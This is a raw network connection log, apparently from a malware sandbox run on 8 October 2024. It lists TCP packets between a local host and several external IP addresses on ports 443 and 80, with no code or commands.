Oct 8, 2024 03:15:28.860512972 CEST	49983	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:28.860512972 CEST	49983	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:28.869081974 CEST	49989	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:28.869132042 CEST	443	49989	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:28.869198084 CEST	49989	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:28.869425058 CEST	49989	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:28.869435072 CEST	443	49989	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.243208885 CEST	49983	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.243268967 CEST	443	49983	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.474678993 CEST	443	49989	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.474745035 CEST	49989	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.475847960 CEST	49989	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.475858927 CEST	443	49989	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.476619005 CEST	443	49989	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.478111029 CEST	49989	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.478621006 CEST	49989	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.478627920 CEST	443	49989	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.756818056 CEST	443	49989	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.756997108 CEST	443	49989	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.757162094 CEST	49989	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.757193089 CEST	49989	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.757193089 CEST	49989	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.757214069 CEST	443	49989	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.757225037 CEST	443	49989	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.764791965 CEST	49995	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.764884949 CEST	443	49995	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:29.765187979 CEST	49995	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.765460014 CEST	49995	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:29.765496969 CEST	443	49995	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:30.357464075 CEST	443	49995	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:30.357580900 CEST	49995	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:30.367575884 CEST	49995	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:30.367610931 CEST	443	49995	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:30.368390083 CEST	443	49995	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:30.410876989 CEST	49995	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:30.411508083 CEST	49995	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:30.411519051 CEST	443	49995	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:30.634718895 CEST	443	49995	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:30.634838104 CEST	443	49995	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:30.634953022 CEST	49995	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:30.635005951 CEST	49995	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:30.635042906 CEST	443	49995	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:30.635067940 CEST	49995	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:30.635082960 CEST	443	49995	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:30.656335115 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:30.656436920 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:30.656524897 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:30.656897068 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:30.656929970 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:31.281147957 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:31.281347990 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:31.282257080 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:31.282285929 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:31.282721043 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:31.283562899 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:31.283634901 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:31.283648014 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:31.568625927 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:31.568743944 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:31.568845034 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:31.568928003 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:31.568928003 CEST	50001	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:31.568969011 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:31.568996906 CEST	443	50001	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:31.575381041 CEST	50008	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:31.575406075 CEST	443	50008	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:31.575459957 CEST	50008	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:31.576133966 CEST	50008	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:31.576143980 CEST	443	50008	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:32.183294058 CEST	443	50008	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:32.183378935 CEST	50008	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:32.188462019 CEST	50008	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:32.188473940 CEST	443	50008	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:32.188782930 CEST	443	50008	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:32.190895081 CEST	50008	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:32.190931082 CEST	50008	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:32.190934896 CEST	443	50008	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:32.467334032 CEST	443	50008	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:32.467466116 CEST	50008	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:32.467478991 CEST	443	50008	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:32.467489004 CEST	50008	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:32.467497110 CEST	443	50008	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:32.467499018 CEST	443	50008	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:32.469996929 CEST	50015	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:32.470077991 CEST	443	50015	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:32.470153093 CEST	50015	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:32.470366955 CEST	50015	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:32.470398903 CEST	443	50015	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.066509008 CEST	443	50015	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.066694975 CEST	50015	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.067646027 CEST	50015	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.067676067 CEST	443	50015	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.068466902 CEST	443	50015	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.069068909 CEST	50015	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.069108009 CEST	50015	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.069123983 CEST	443	50015	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.339844942 CEST	443	50015	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.339966059 CEST	443	50015	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.340002060 CEST	50015	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.340043068 CEST	443	50015	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.340073109 CEST	50015	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.340085983 CEST	443	50015	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.347079039 CEST	50024	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.347163916 CEST	443	50024	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.347409010 CEST	50024	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.349010944 CEST	50024	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.349049091 CEST	443	50024	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.954431057 CEST	443	50024	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.954530954 CEST	50024	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.955616951 CEST	50024	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.955635071 CEST	443	50024	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.956409931 CEST	443	50024	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:33.957022905 CEST	50024	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.957108021 CEST	50024	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:33.957118034 CEST	443	50024	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:34.237989902 CEST	443	50024	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:34.238131046 CEST	443	50024	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:34.238213062 CEST	50024	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:34.238303900 CEST	50024	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:34.238303900 CEST	50024	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:34.238349915 CEST	443	50024	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:34.238375902 CEST	443	50024	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:34.249989033 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:34.250072002 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:34.250161886 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:34.250441074 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:34.250478029 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:34.864278078 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:34.864470959 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:34.865639925 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:34.865669012 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:34.866445065 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:34.867077112 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:34.867117882 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:34.867135048 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.149516106 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.149585962 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.149769068 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.149827957 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.241350889 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.241564035 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.241667032 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.241667032 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.241734028 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.280760050 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.280992985 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.281053066 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.309284925 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.309314013 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.309596062 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.309597015 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.309668064 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.331764936 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.331794977 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.332072973 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.332072973 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.332135916 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.332571983 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.332767963 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.332775116 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.332856894 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.332896948 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.333605051 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.333798885 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.333862066 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.347656012 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.347899914 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.347959042 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.355545998 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.355654955 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.355715036 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.355756044 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.359529972 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.362942934 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.362987995 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.363020897 CEST	50030	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.363035917 CEST	443	50030	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.518378973 CEST	50036	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.518435955 CEST	443	50036	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:35.518502951 CEST	50036	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.518852949 CEST	50036	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:35.518881083 CEST	443	50036	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:36.308490038 CEST	443	50036	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:36.308619976 CEST	50036	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:36.313601971 CEST	50036	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:36.313627958 CEST	443	50036	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:36.314640999 CEST	443	50036	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:36.316180944 CEST	50036	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:36.316234112 CEST	50036	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:36.316251040 CEST	443	50036	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:36.592647076 CEST	443	50036	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:36.592762947 CEST	443	50036	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:36.592845917 CEST	50036	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:36.592905998 CEST	50036	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:36.592905998 CEST	50036	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:36.592947960 CEST	443	50036	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:36.592969894 CEST	443	50036	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:36.604413033 CEST	50043	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:36.604507923 CEST	443	50043	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:36.604655027 CEST	50043	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:36.604944944 CEST	50043	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:36.605035067 CEST	443	50043	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:37.210438967 CEST	443	50043	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:37.210643053 CEST	50043	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:37.211591005 CEST	50043	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:37.211621046 CEST	443	50043	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:37.211850882 CEST	443	50043	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:37.218725920 CEST	50043	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:37.218767881 CEST	50043	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:37.218779087 CEST	443	50043	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:38.491779089 CEST	443	50043	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:38.491833925 CEST	443	50043	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:38.492017984 CEST	50043	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:38.498764038 CEST	50043	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:38.498764038 CEST	50043	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:38.498827934 CEST	443	50043	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:38.498862982 CEST	443	50043	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:42.473069906 CEST	50055	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:42.473104954 CEST	443	50055	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:42.473162889 CEST	50055	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:42.475965023 CEST	50055	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:42.475980997 CEST	443	50055	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:43.101691961 CEST	443	50055	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:43.101984978 CEST	50055	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:43.103871107 CEST	50055	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:43.103879929 CEST	443	50055	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:43.104357958 CEST	443	50055	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:43.167380095 CEST	50055	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:43.167380095 CEST	50055	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:43.167642117 CEST	443	50055	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:43.541102886 CEST	443	50055	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:43.541260004 CEST	443	50055	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:43.541382074 CEST	50055	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:43.562449932 CEST	50055	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:43.562464952 CEST	443	50055	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:15.947129965 CEST	50056	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:15.953563929 CEST	80	50056	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:15.953653097 CEST	50056	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:15.953778028 CEST	50056	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:15.953795910 CEST	50056	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:15.958683014 CEST	80	50056	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:15.958713055 CEST	80	50056	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:17.332349062 CEST	80	50056	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:17.332765102 CEST	80	50056	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:17.332901955 CEST	50056	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:17.332901955 CEST	50056	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:17.337928057 CEST	80	50056	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:23.845138073 CEST	50057	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:23.850636005 CEST	80	50057	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:23.850723982 CEST	50057	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:23.850915909 CEST	50057	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:23.851033926 CEST	50057	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:23.855737925 CEST	80	50057	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:23.855854988 CEST	80	50057	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:25.215214968 CEST	80	50057	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:25.215264082 CEST	80	50057	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:25.215332985 CEST	50057	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:25.215516090 CEST	50057	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:25.220391035 CEST	80	50057	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:33.774234056 CEST	50058	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:33.779536963 CEST	80	50058	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:33.779933929 CEST	50058	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:33.780054092 CEST	50058	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:33.780088902 CEST	50058	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:33.784904003 CEST	80	50058	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:33.784934044 CEST	80	50058	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:35.175225973 CEST	80	50058	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:35.175276995 CEST	80	50058	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:35.175376892 CEST	50058	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:35.175527096 CEST	50058	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:35.180352926 CEST	80	50058	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:46.156531096 CEST	50059	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:46.161938906 CEST	80	50059	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:46.162009954 CEST	50059	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:46.162148952 CEST	50059	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:46.162180901 CEST	50059	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:46.167027950 CEST	80	50059	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:46.167109013 CEST	80	50059	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:47.542952061 CEST	80	50059	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:47.543003082 CEST	80	50059	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:47.543159962 CEST	50059	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:47.543240070 CEST	50059	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:16:47.548252106 CEST	80	50059	180.75.11.133	192.168.2.4
Oct 8, 2024 03:16:56.793262005 CEST	50060	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:56.793298960 CEST	443	50060	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:56.793365955 CEST	50060	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:56.793705940 CEST	50060	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:56.793714046 CEST	443	50060	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:57.405858040 CEST	443	50060	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:57.405934095 CEST	50060	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:57.407432079 CEST	50060	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:57.407442093 CEST	443	50060	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:57.408343077 CEST	443	50060	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:57.444282055 CEST	50060	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:57.444283009 CEST	50060	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:57.444641113 CEST	443	50060	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:57.772044897 CEST	443	50060	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:57.772115946 CEST	443	50060	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:57.772294998 CEST	50060	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:57.772322893 CEST	50060	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:57.772322893 CEST	50060	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:57.772347927 CEST	443	50060	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:57.772358894 CEST	443	50060	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:57.782928944 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:57.783031940 CEST	443	50061	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:57.783127069 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:57.783447027 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:57.783472061 CEST	443	50061	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:58.434278965 CEST	443	50061	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:58.434478998 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:58.435488939 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:58.435543060 CEST	443	50061	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:58.436604023 CEST	443	50061	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:58.437437057 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:58.437437057 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:58.437532902 CEST	443	50061	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:58.803865910 CEST	443	50061	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:58.804006100 CEST	443	50061	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:58.804166079 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:58.804167032 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:58.804167032 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:58.804261923 CEST	443	50061	23.145.40.168	192.168.2.4
Oct 8, 2024 03:16:59.149600983 CEST	50061	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:16:59.149666071 CEST	443	50061	23.145.40.168	192.168.2.4
Oct 8, 2024 03:17:01.162631035 CEST	50062	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:01.167649984 CEST	80	50062	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:01.167735100 CEST	50062	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:01.167900085 CEST	50062	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:01.167931080 CEST	50062	80	192.168.2.4	201.103.8.135
Oct 8, 2024 03:17:01.172755003 CEST	80	50062	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:01.172955036 CEST	80	50062	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:02.271806002 CEST	80	50062	201.103.8.135	192.168.2.4
Oct 8, 2024 03:17:02.272062063 CEST	80	50062	201.103.8.135	192.168.2.4
